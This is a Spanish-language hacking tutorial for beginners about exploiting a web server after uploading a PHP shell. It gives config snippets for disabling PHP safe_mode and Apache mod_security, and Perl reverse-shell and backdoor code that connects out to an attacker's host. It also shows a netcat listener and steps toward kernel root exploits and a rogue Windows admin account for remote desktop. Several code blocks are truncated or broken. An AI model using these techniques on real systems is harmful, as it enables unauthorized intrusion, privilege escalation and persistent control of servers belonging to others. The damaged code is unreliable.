Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
0X00 INDICE
0x01 Introduccin
0x02 Habilitar funciones (bypassing)
0x02~01 Safe_mode
0x02~02 Mod_security
0x03 Shell inversa
0x04 Rootear el servidor
0x04~01 Servidores con Linux
0x04~02 Servidores con Win32
0x05 Despedida y Agradecimiento s
0X01 INTRODUCCIN
El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de
haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas
existenciales cuando empiezas en este mundillo... Qu hacer con tu shell?.
Pues para las personas que tienen esta duda, va dirigido esta gua. La idea original de
crear dicha gua me la di hace ya tiempo Lssim. En aquel momento le expliqu de una
forma "muy breve" el como rootear un servidor... pero en aquella ocasin se lo expliqu
todo color de rosa, es decir sin ningun tipo de complicacin. La idea de la guia se fue
dejando de lado... hasta que antes de irme a la Universidad decidi crearla.
Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el
lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la
forma ms sencilla por todo el servidor. A continuacin pasamos a explicar detalladamente
distintos bypassing.
0X02~01 SAFE_MODE
El Safe_Mode o Modo Seguro, es una configuracin que se suele seguir mucho en los
servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un
/home/ diferente donde se alojan, teniendo el servidor as diferentes /home/, uno por cada
usuario. Para evitar el que un usuario pueda interferir de algn modo en el normal
funcionamiento de otro, estos servidores suelen adoptar una configuracin de Modo
Seguro.
Esta configuracin lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse
como "peligrosas", tales como funciones de ejecucin (Eval, System, exec...) y algunas
otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de stas
funciones, sino que bloquean su uso nicamente al dueo del fichero.
Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de
saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen
diversas formas.
La primera de todas es usando algn exploit que vulnere la versin PHP que est corriendo
el servidor. Normalmente deben de ejecutar el cdigo del exploit en la shell. Cmo
hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrn observado que
existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ah el cdigo
del exploit y lo ejecutan.
Una segunda forma para realizar un bypassing es el subir al mismo path donde se
encuentra nuestra shell un archivo de configuracin php.ini. Esto se hace as porque el
safe_mode se configura como ON en la configuracin de PHP. Entonces lo que vamos a
hacer, es colocar un archivo de configuracin dentro del mismo path en el que tenemos
nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:
Cdigo: [Seleccionar]
[PHP]
register_globals=On
engine=On
safe_mode=Off
safe_mode_exec_dir=On
safe_mode_include_dir =On
Pues ya sabemos cmo bypassear el safe_mode para poder movernos con soltura dentro
del servidor.
0X02~02 MOD_SECURITY
Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el
Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... as
que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de aadir al
fichero .htaccess
Cdigo: [Seleccionar]
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>
Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control
del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en
principio, casi siempre permite conexiones salientes, pero no entrantes.
Entonces nuestro objetivo ser codear alguna aplicacin que nos d una shell inversa en
el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de
socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors
codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente
siempre apoyo el "codeate t mismo tus herramientas" para depender menos de terceros.
As que aqui os dejo un PoC :
Cdigo: [Seleccionar]
print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
$ejecutor = "/bin/bash";
system($ejecutor);
Esa es una pequea idea, estudiad Perl para poder implementar esta idea. El caso es que
con eso lanzaramos un socket al host y puerto que hayamos puesto. Aqui les dejo la
BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente
estamos trabajando con la 0.3 (le he aadido unos pocos errores anti-kiddies):
Cdigo: [Seleccionar]
#!/usr/bin/perl
#use IO::Socket;
print q(
=================================================
BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 5){
print "\nUsage: BackFoS.pl
exit(0);
}
$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
if ($OS == "-w"){
$ejecutor = "cmd";
sistem($ejecutor);
}
nc -lvvp 90
Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones
TCP/IP. El caso es que as dejamos a la escucha netcat para que reciba la shell. Desde la
shell .php que tenemos en el servidor ejecutamos lo siguiente:
perl
et voil ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta
shell tendremos ms flexibilidad que con la shell .php.
0X04 ROOTEAR EL SERVIDOR
Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un
servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer
lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que
corren con Linux y los que corren con Win32
En este caso partimos de la base de que ya estamos controlando una shell inversa
procedente del servidor. Lo primero que deberemos de hacer ser comprobar si la versin
del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les
dejo un listado de kernels y posibles rootexploits que los vulneran:
o hice una tool para el team que se encargaba precisamente de eso, de mostrar los
posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys
como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar
uname -r y creas un patron de bsqueda que compruebe si en el output aparece alguna
version de kernel que tengamos en el hash).
Bien desde la shell remota lo que haremos ser movernos hasta un directorio donde
podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type
d -perm (los que necesiemos buscar)
Cdigo:
Y ya solo nos quedara ejecutarlo con ./rootexploit. Si todo ha salido bien, deberamos de
ser root ya.
El "ataque" se inicia desde la shell que tengamos en el servidor. All lo que hacemos es
ejecutar las siguientes instrucciones:
Cdigo:
Para aquellos que sepan algo de batch, sabrn que lo que hemos hecho ha sido crear un
usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio ->
ejecutar y escribimos mstsc.exe
Se nos abrir una ventania. Ah vamos a opciones y rellenamos los campos, a excepcin de
Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habamos
creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell
ipconfig y sacar la IP.
Bien, creo que al final este paper ha quedado como una buena introduccin a las newbies
que empiezan en este mundo. Por otra parte creo que podra expandirse un poco ms...
pero bueno eso para otra ocasin. Espero les haya sido de utilidad.
Gr3tz to: FoS TeaM (Chipbios & Mace Windu), Askata, Chr0n05, Lssim, Lutscher,
Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.